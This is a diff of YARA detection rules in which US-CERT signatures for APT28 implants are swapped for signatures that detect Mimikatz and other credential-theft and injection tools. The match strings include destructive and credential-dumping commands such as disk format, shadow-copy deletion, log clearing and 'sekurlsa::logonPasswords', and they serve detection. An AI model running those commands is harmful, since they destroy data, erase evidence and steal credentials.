-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "27a5fb98-fe8b-561c-b490-e04257e7dd1c"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L807-L822"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49c912f29f5ffbd90366a510285ef3f06c804af86829808c175c8be519ce01c4"
-		score = 85
+		description = "Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures)"
+		author = "Florian Roth"
+		id = "55cc7129-5ea0-5545-a8f6-b5306a014dd0"
+		date = "2014-12-22"
+		modified = "2023-07-04"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L5-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22064af570b8e0a93ca0d45484848eda3fbecfd27c88247ef0897fe53be4b7fc"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "APT"
+		nodeepdive = 1
 
 	strings:
-		$DK_format1 = "/c format %c: /Y /Q" ascii
-		$DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
-		$DK_physicaldrive = "PhysicalDrive%d" wide
-		$DK_shutdown = "shutdown /r /t %d"
+		$s1 = "sekurlsa::wdigest" fullword ascii
+		$s2 = "sekurlsa::logonPasswords" fullword ascii
+		$s3 = "sekurlsa::minidump" fullword ascii
+		$s4 = "sekurlsa::credman" fullword ascii
+		$fp1 = "\"x_mitre_version\": " ascii
+		$fp2 = "{\"type\":\"bundle\","
+		$fp3 = "use strict" ascii fullword
+		$fp4 = "\"url\":\"https://attack.mitre.org/" ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of ($DK*)
+		1 of ($s*) and not 1 of ($fp*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V5 : FILE
+rule SIGNATURE_BASE_Mimikatz : FILE
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "d203f3c6-4e86-5632-ad5d-61763ee59bbe"
-		date = "2017-02-10"
+		description = "mimikatz"
+		author = "Benjamin DELPY (gentilkiwi)"
+		id = "840a5b8c-a311-50bc-a099-6b8ab1492e12"
+		date = "2022-11-16"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L824-L838"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9d4233ccf148919d0ad0be726b9dfa9e26a9afcebb7b26fa4db4c3da8c46d13e"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L48-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf972a2c0465c3bbdde6f03d91c6f479d0f66c6d3e9512355de5a973164b56a5"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		tool_author = "Benjamin DELPY (gentilkiwi)"
 
 	strings:
-		$GEN_HASH = {0F BE C9 C1 C0 07 33 C1}
+		$exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd }
+		$exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
+		$exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
+		$exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
+		$sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+		$sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		( all of ($exe_x86_*)) or ( all of ($exe_x64_*)) or ( any of ($sys_*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V7 : FILE
+rule SIGNATURE_BASE_Wce
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "a0dda12a-22b6-53e6-9528-8c178ad871ad"
-		date = "2017-02-10"
+		description = "wce"
+		author = "Benjamin DELPY (gentilkiwi)"
+		id = "857981ee-3f57-580b-8bfd-8d2109298e27"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L859-L881"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27ae70d384488660c1f80040503d3eb6541112fd6332edc5820bc6718d76b847"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L76-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a16db99dcaaf1b6c33a738aab4f4d3812366258bc2f6dd32250ee1b1a0616f1c"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		tool_author = "Hernan Ochoa (hernano)"
 
 	strings:
-		$sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
-		$sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
-		$sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
-		$sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
-		$sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
-		$sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
-		$sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
-		$sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
-		$sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
-		$sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}
+		$hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
+		$hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
+		$hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 3 of them
+		any of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V8
+rule SIGNATURE_BASE_Power_Pe_Injection
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "1e82d105-8dda-55c9-aec0-8f9f02c3a94e"
-		date = "2017-02-10"
+		description = "PowerShell with PE Reflective Injection"
+		author = "Benjamin DELPY (gentilkiwi)"
+		id = "a71fe9f2-9c2a-5650-a5c7-116b76f10db6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L883-L911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd072702c59822587d7ede0bc59c5672fbaa9a05595940781554fadb32e109f7"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L91-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64a7033d51e8933912f37ce68bffc216073a88cae1ea7492e71a812411ae6a9d"
+		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4
-         33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B
-         DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D
-         3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50
-         68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9
-         7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF
-         57 18}
-		$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08
-         2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00
-         8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8
-         89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
-		$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF
-         66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66
-         8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00
-         F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
-         65 6C 54 FF 57}
-		$a1 = {83 EC 04 60 E9 1E 01 00 00}
+		$str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
 
 	condition:
-		$a1 at pe.entry_point or any of ($f*)
+		$str_loadlib
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V9
+rule SIGNATURE_BASE_Mimikatz_Logfile
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "a404212a-d9ef-54c1-bbf8-a213ec094f18"
-		date = "2017-02-10"
+		description = "Detects a log file generated by malicious hack tool mimikatz"
+		author = "Florian Roth (Nextron Systems)"
+		id = "921d85fc-fb4d-57ed-b4ac-203d5c6f1e8e"
+		date = "2015-03-31"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L913-L933"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c0e48bf0839965f9bda9cc475aba5b4934c27c426a8fa4423fb24aa9d792e2e4"
-		score = 85
-		quality = 77
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L103-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4591cda5bd5a555292087da26193accc4f00d7c0611be8d5ab6dd4dabb14a0ef"
+		score = 80
+		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "wevtutil clear-log" ascii wide nocase
-		$b = "vssadmin delete shadows" ascii wide nocase
-		$c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
-		$d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase
-		$openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52
-         50 E8 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89
-         44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ??
-         ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
-		$f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}
+		$s1 = "SID               :" ascii fullword
+		$s2 = "* NTLM     :" ascii fullword
+		$s3 = "Authentication Id :" ascii fullword
+		$s4 = "wdigest :" ascii fullword
 
 	condition:
-		($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f)
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V10 : FILE
+rule SIGNATURE_BASE_Mimikatz_Strings : FILE
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "75c266ca-a27f-5ffe-a438-c35bbacfa70c"
-		date = "2017-02-10"
+		description = "Detects Mimikatz strings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d8f63b71-c66c-5c10-9268-2d8970f7c8a1"
+		date = "2016-06-08"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L935-L966"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f22fd45eb77ff1a8202f4bd0d0c43787c8184300e96aff021e13371ae7bd5553"
-		score = 85
-		quality = 81
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L121-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "baba1e159c0fb23f68b80459291a2d2c52e84f742f51ca30b894f7fc6282ad7a"
+		score = 65
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {A1B05C72}
-		$ = {EB3D0384}
-		$ = {6F45594E}
-		$ = {71815A4E}
-		$ = {D5B03E72}
-		$ = {6B43594E}
-		$ = {F572993D}
-		$ = {665D9DC0}
-		$ = {0BE7A75A}
-		$ = {F37443C5}
-		$ = {A2A474BB}
-		$ = {97DEEC67}
-		$ = {7E0CB078}
-		$ = {9C9678BF}
-		$ = {4A37A149}
-		$ = {8667416B}
-		$ = {0A375BA4}
-		$ = {DC505A8D}
-		$ = {02F1F808}
-		$ = {2C819712}
+		$x1 = "sekurlsa::logonpasswords" fullword wide ascii
+		$x2 = "List tickets in MIT/Heimdall ccache" fullword ascii wide
+		$x3 = "kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage %08x" fullword ascii wide
+		$x4 = "* Injecting ticket :" fullword wide ascii
+		$x5 = "mimidrv.sys" fullword wide ascii
+		$x6 = "Lists LM & NTLM credentials" fullword wide ascii
+		$x7 = "\\_ kerberos -" wide ascii
+		$x8 = "* unknow   :" fullword wide ascii
+		$x9 = "\\_ *Password replace ->" wide ascii
+		$x10 = "KIWI_MSV1_0_PRIMARY_CREDENTIALS KO" ascii wide
+		$x11 = "\\\\.\\mimidrv" wide ascii
+		$x12 = "Switch to MINIDUMP :" fullword wide ascii
+		$x13 = "[masterkey] with password: %s (%s user)" fullword wide
+		$x14 = "Clear screen (doesn't work with redirections, like PsExec)" fullword wide
+		$x15 = "** Session key is NULL! It means allowtgtsessionkey is not set to 1 **" fullword wide
+		$x16 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550 and 15 of them
+		(( uint16(0)==0x5a4d and 1 of ($x*)) or (3 of them )) and not pe.imphash()=="77eaeca738dd89410a432c6bd6459907"
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V11 : FILE
+rule SIGNATURE_BASE_Appinithook : FILE
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "e5fb0843-20f7-56a0-8eea-0db7cef7f610"
-		date = "2017-02-10"
+		description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "73713011-3083-5cdf-b59c-f4da67d2d2ab"
+		date = "2015-07-15"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L968-L985"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bdeddc4334ed6557175b5eefc78d69283d6c91f98970bd0cfe6365b3ab477f4"
-		score = 85
+		reference = "https://goo.gl/Z292v6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L156-L176"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
+		logic_hash = "a4de3a062e309715c339a45a16a7ff8f9a55851cb41097a6925fd11f649547d2"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "/c format %c: /Y /X /FS:NTFS"
-		$ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
-		$ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
-		$ = ".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
-		$tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide
+		$s0 = "\\Release\\AppInitHook.pdb" ascii
+		$s1 = "AppInitHook.dll" fullword ascii
+		$s2 = "mimikatz.exe" fullword wide
+		$s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
+		$s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
+		$s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
+		$s6 = "VoidFunc" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 2 of them
+		uint16(0)==0x5a4d and filesize <500KB and 4 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_4_V13 : FILE
+rule SIGNATURE_BASE_HKTL_Mimikatz_Skeletonkey_In_Memory_Aug20_1
 {
 	meta:
-		description = "BlackEnergy / Voodoo Bear Implant by APT28"
-		author = "US CERT"
-		id = "e96a7d9f-1840-542f-9a9b-95e74377f234"
-		date = "2017-02-10"
+		description = "Detects Mimikatz SkeletonKey in Memory"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e7c1c512-e944-5d87-ac57-cdc9ab7cf660"
+		date = "2020-08-09"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1011-L1032"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "576c07c44105d2a38ca715d366f68058b2b3118f25e91d2d3e2d20e932fc9453"
-		score = 85
+		reference = "https://twitter.com/sbousseaden/status/1292143504131600384?s=12"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L178-L190"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cc9a4d3b63e07a695df342bd2c96a55570502d6fd0ab9a1b61d63e28e1c3e05"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
-		$XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
-		$XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00
-         66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0
-         78 2?}
-		$EXP1 = "DispatchCommand"
-		$EXP2 = "DispatchEvent"
-		$BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D
-         C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}
+		$x1 = { 60 ba 4f ca c7 44 24 34 dc 46 6c 7a c7 44 24 38
+              03 3c 17 81 c7 44 24 3c 94 c0 3d f6 }
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_5_V1
+rule SIGNATURE_BASE_HKTL_Mimikatz_Memssp_Hookfn
 {
 	meta:
-		description = "XTunnel Implant by APT28"
-		author = "US CERT"
-		id = "dee08753-3465-5bf2-acd5-aa6cc80aba3c"
-		date = "2017-02-10"
+		description = "Detects Default Mimikatz memssp module in-memory"
+		author = "SBousseaden"
+		id = "89940110-8a5e-5a28-bf64-3b568f8ef1f8"
+		date = "2020-08-26"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1034-L1051"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d94192d408036bf02052dc5145b78fea61323810b2abdbba64c65e1f6387ea42"
-		score = 85
+		reference = "https://github.com/sbousseaden/YaraHunts/blob/master/mimikatz_memssp_hookfn.yara"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L192-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27cf87f801111f17af76ab4c4f8329b73165f24f755d33edbb22d845bba6d3ff"
+		score = 70
 		quality = 85
 		tags = ""
 
 	strings:
-		$hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00
-         70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00}
-		$UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
-		$TPSMSG1 = "error 2004 send to TPS - %d\x0a"
-		$TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
-		$UDPMSG2 = "error 2002 send to server UDP - %d\x0a"
+		$xc1 = { 48 81 EC A8 00 00 00 C7 84 24 88 00 00 00 ?? ??
+               ?? ?? C7 84 24 8C 00 00 00 ?? ?? ?? ?? C7 84 24
+               90 00 00 00 ?? ?? ?? 00 C7 84 24 80 00 00 00 61
+               00 00 00 C7 44 24 40 5B 00 25 00 C7 44 24 44 30
+               00 38 00 C7 44 24 48 78 00 3A 00 C7 44 24 4C 25
+               00 30 00 C7 44 24 50 38 00 78 00 C7 44 24 54 5D
+               00 20 00 C7 44 24 58 25 00 77 00 C7 44 24 5C 5A
+               00 5C 00 C7 44 24 60 25 00 77 00 C7 44 24 64 5A
+               00 09 00 C7 44 24 68 25 00 77 00 C7 44 24 6C 5A
+               00 0A 00 C7 44 24 70 00 00 00 00 48 8D 94 24 80
+               00 00 00 48 8D 8C 24 88 00 00 00 48 B8 A0 7D ??
+               ?? ?? ?? 00 00 FF D0 }
 
 	condition:
-		any of them
+		$xc1
 }
 import "pe"
 
-rule SIGNATURE_BASE_IMPLANT_5_V2
+rule SIGNATURE_BASE_HKTL_Mimikatz_Icon : FILE
 {
 	meta:
-		description = "XTunnel Implant by APT28"
-		author = "US CERT"
-		id = "40f60306-41ee-5a18-84e2-cf479a6bc849"
-		date = "2017-02-10"
+		description = "Detects mimikatz icon in PE file"
+		author = "Arnim Rupp"
+		id = "2a5ea476-a30d-5eac-b57a-3fb49386c046"
+		date = "2023-02-18"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1053-L1192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "43e3df19ecd2068636b92c7a5c0399b22f8fa478e3e1562f392e78c5a268a1e5"
-		score = 85
-		quality = 60
-		tags = ""
+		reference = "https://blog.gentilkiwi.com/mimikatz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimikatz.yar#L218-L238"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a07d477d1645e6df4f0706e44df11ea006c89e4d3218ed18a8a97b60853ff4ff"
+		score = 60
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+		hash1 = "61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1"
+		hash2 = "1c3f584164ef595a37837701739a11e17e46f9982fdcee020cf5e23bad1a0925"
+		hash3 = "c6bb98b24206228a54493274ff9757ce7e0cbb4ab2968af978811cc4a98fde85"
+		hash4 = "721d3476cdc655305902d682651fffbe72e54a97cd7e91f44d1a47606bae47ab"
+		hash5 = "c0f3523151fa307248b2c64bdaac5f167b19be6fccff9eba92ac363f6d5d2595"
 
 	strings:
-		$key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
-		$key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
-		$key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
-		$key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
-		$key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
